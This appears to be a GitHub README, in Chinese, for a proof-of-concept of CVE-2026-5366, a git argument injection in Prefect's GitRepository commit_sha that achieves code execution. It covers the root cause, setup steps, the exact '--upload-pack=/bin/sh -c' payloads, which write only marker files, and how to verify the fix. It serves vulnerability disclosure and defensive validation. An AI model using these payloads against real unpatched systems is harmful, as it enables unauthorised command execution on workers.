renat0z3r0/prefect-cve-2026-5366
GitHub: renat0z3r0/prefect-cve-2026-5366
针对 Prefect 工作流引擎 CVE-2026-5366(GitRepository 参数注入导致 RCE)的概念验证工具,支持离线端到端复现与修复版本验证。
Stars: 0 | Forks: 0
# PoC: CVE-2026-5366 - Prefect 中的 Git 参数注入 (GitRepository)
- 漏洞:通过 `commit_sha` 导致的 git 参数注入进而引发 RCE(外加通过 `directories` 导致的参数注入)
- 版本:在 3.6.23 版本中存在漏洞,已在 3.6.25+ 版本中修复
- 文件:`src/prefect/runner/storage.py`
- Huntr:
- CVE: CVE-2026-5366
## 免责声明
这是一个针对已公开且已修补漏洞的概念验证
(已在 Prefect 3.6.25 中修复),发布用于教育和防御性验证。
请仅在您拥有或获得授权测试的软件和系统上运行它。
如果您正在运行 Prefect,请升级到 3.6.25 或更高版本。
## 仓库结构
| 文件 | 用途 |
|------|---------|
| `poc.py` | 针对存在漏洞的安装环境运行两种注入向量,并报告哪一种可以成功实现代码执行 |
| `run_offline.sh` | 无网络运行器:构建一个本地 `file://` 仓库并驱动 `poc.py` 对其进行测试(查看 RCE 触发的可靠方式) |
## 根本原因 (3.6.23,确切代码行)
在 `src/prefect/runner/storage.py` 中:
```
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
```
注入点(3.6.23 版本行号):
- `commit_sha`:
- `pull_code()` ~379: `["git", "fetch", "origin", self._commit_sha]`
- `pull_code()` ~391: `["git", "checkout", self._commit_sha]`
- `_clone_repo()` ~475: `["git", "fetch", "origin", self._commit_sha]`
- `_clone_repo()` ~480: `["git", "checkout", self._commit_sha]`
- `directories`:
- `pull_code()` ~360: `["git", "sparse-checkout", "set", *self._directories]`
- `_clone_repo()` ~489: `["git", "sparse-checkout", "set", *self._directories]`
(没有 `--` 分隔符)
在 `commit_sha` 路径上,`--upload-pack=` 会被 `git fetch`/`git checkout` 解释为用于该连接的 pack 程序,因此该程序会在 worker 机器上本地执行。这已经过端到端验证(请参阅下文的“验证结果”)。
`directories` 路径属于真正的参数注入,但通过 `--upload-pack` 并非 RCE 向量:`git sparse-checkout set` 是一个本地命令,没有 `--upload-pack` 选项,因此 payload 会作为未知标志被拒绝。这种不对称性在上游修复中也有所体现:`commit_sha` 会被强制拒绝,而以 `--` 开头的 `directories` 条目仅触发警告。
## 漏洞利用工作原理
核心在于针对 `commit_sha` 向量的 git 参数注入技巧。
1. 缺乏验证。在 3.6.23 版本中,`commit_sha` 的值被原样存储(`storage.py:181`),除了互斥的 `branch`/`commit_sha` 之外没有任何检查。任何字符串都会被接受。
2. 进入 git 参数位置。当 Prefect 拉取代码时(先 `pull_code()` 然后是 `_clone_repo()`),该值被放入 git 参数列表中:
```
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
```
这是一个参数列表(没有 shell),因此不存在 shell 注入。缺陷在于攻击者控制的值之前没有 `--` 分隔符。
3. `--upload-pack` 被解析为选项,而不是参数。除非前面有 `--` 分隔符,否则 git 会将任何以 `-` 开头的字符串视为选项。Payload:
```
--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
```
将命令转变为:
```
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
```
`--upload-pack=` 是 `git fetch`/`clone`/`ls-remote` 的合法选项:它指定了 git 运行以提供 pack 服务的程序。当远程仓库是本地的(`file://`)或通过 SSH/本地传输访问时,git 会在本地机器上执行该程序。
4. 结果:RCE。git 会启动 `/bin/sh -c '...'` 来代替真正的 `git-upload-pack` 助手,从而在 Prefect worker 上运行攻击者的命令。随后 git 会失败(因为 sh 不使用 git 协议通信),但副作用(代码执行)已经发生,这就是为什么 PoC 会忽略产生的异常而仅检查标记文件的原因。
为什么测试前的清理很重要。如果目标位置已经存在 `.git`,Prefect 会走“更新现有仓库”的路径。删除它会强制走完整的 `_clone_repo()` 路径,该路径拥有最直接的 `fetch origin ` + `checkout ` 调用,是最佳的注入点。
为什么 `directories` 不能实现 RCE。该值会进入 `git sparse-checkout set `,这是一个没有 `--upload-pack` 选项的本地命令,因此 git 会将 payload 作为未知标志拒绝。它依然是真正的参数注入,但使用此 payload 并非 RCE 向量。
修复方案 (3.6.25)。`commit_sha` 必须匹配 `^[0-9a-fA-F]{4,64}$`,因此在构造时,`--upload-pack=...` payload 会因抛出 `ValueError: Invalid commit SHA` 而被拒绝。对于 `directories`,该修复在 git 命令中添加了 `--` 分隔符(值不能再被解析为选项)并发出警告。
## 推荐的 PoC 策略
1. 精确安装 `prefect==3.6.23`
2. 每次测试前强制清理目标目录(这是最重要的部分)
3. 通过直接调用 `GitRepository(..., commit_sha=..., directories=...).pull_code()` 触发
4. 使用带时间戳的标记,以便您可以查看哪个向量起作用了
5. 在已修复的版本(>= 3.6.25)上,确认恶意的 `commit_sha` 会在 `GitRepository(...)` 构造时被拒绝
## 设置(存在漏洞的环境)
```
python -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
```
或者使用确切存在漏洞标签的源码:
```
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
```
## 运行 PoC
可靠、自包含的方式(构建本地 `file://` 仓库并运行两个向量):
```
./run_offline.sh
# 或固定特定解释器:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
```
您也可以直接驱动 `poc.py`:
```
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
```
重要提示:git 仅在本地和 ssh 传输上支持 `--upload-pack`。针对默认的 https 远程仓库,payload 是无效的,因此即使在存在漏洞的 3.6.23 上,`python poc.py` 也会报告未找到标记文件。请使用 `run_offline.sh`(或 `file://` / ssh 的 `POC_TARGET_REPO`)来查看 RCE 的实际触发。
脚本在执行每个向量之前会进行强制清理(`force_clean_destination`),从而确保它能够稳定地进入 clone 路径(`_clone_repo`),该路径会执行:
```
git clone ... --no-checkout
git fetch origin
git checkout
```
## 本 PoC 中使用的精确 Payload (3.6.23)
`commit_sha`:
```
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
```
`directories`:
```
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
```
这些会准确命中 `fetch` / `checkout` 和 `sparse-checkout set` 中的原始参数位置。
## 验证结果
在 Python 3.12 上完全离线(通过 `run_offline.sh` 使用本地 `file://` 裸仓库)进行了端到端复现:
| 版本 | `commit_sha` | `directories` |
|---------|--------------|---------------|
| 3.6.23 (存在漏洞) | 成功 RCE:在执行 `git fetch origin ` 期间写入了标记文件 | 无标记:`sparse-checkout set` 拒绝了 `--upload-pack` 标志 |
| 3.6.25 (已修复) | 已中和:在构造 `GitRepository(...)` 时抛出 `ValueError: Invalid commit SHA ...` | 无标记:添加了 `--` 分隔符 + 警告 |
观察到的存在漏洞运行时的标记文件内容:
```
EXPLOITED via commit_sha
```
## 清理
```
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
```
## 验证修复(在 >= 3.6.25 上)
在已修复的安装中,恶意的对象在任何 git 运行之前就会构造失败:
```
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: 无效的 commit SHA ...
```
以 `--` 开头的 `directories` 条目只会发出警告(真正的保护措施是添加到 git 命令中的 `--` 分隔符)。
## 参考
- 存在漏洞的标签:`3.6.23`
- 修复提交:`6a9d9918716ce4ee0297b69f3046f7067ef1faae`
- 修复前的父提交:`21b2838054c7231cee8cbe196fdadc67ee6c1c6d`
请负责任地使用(当然!!!:PpPPpp),并仅在您控制的系统上使用 :-)
标签:Go语言工具, PoC, 参数注入, 安全漏洞, 应用安全, 暴力破解, 编程工具, 网络安全研究, 远程代码执行, 逆向工具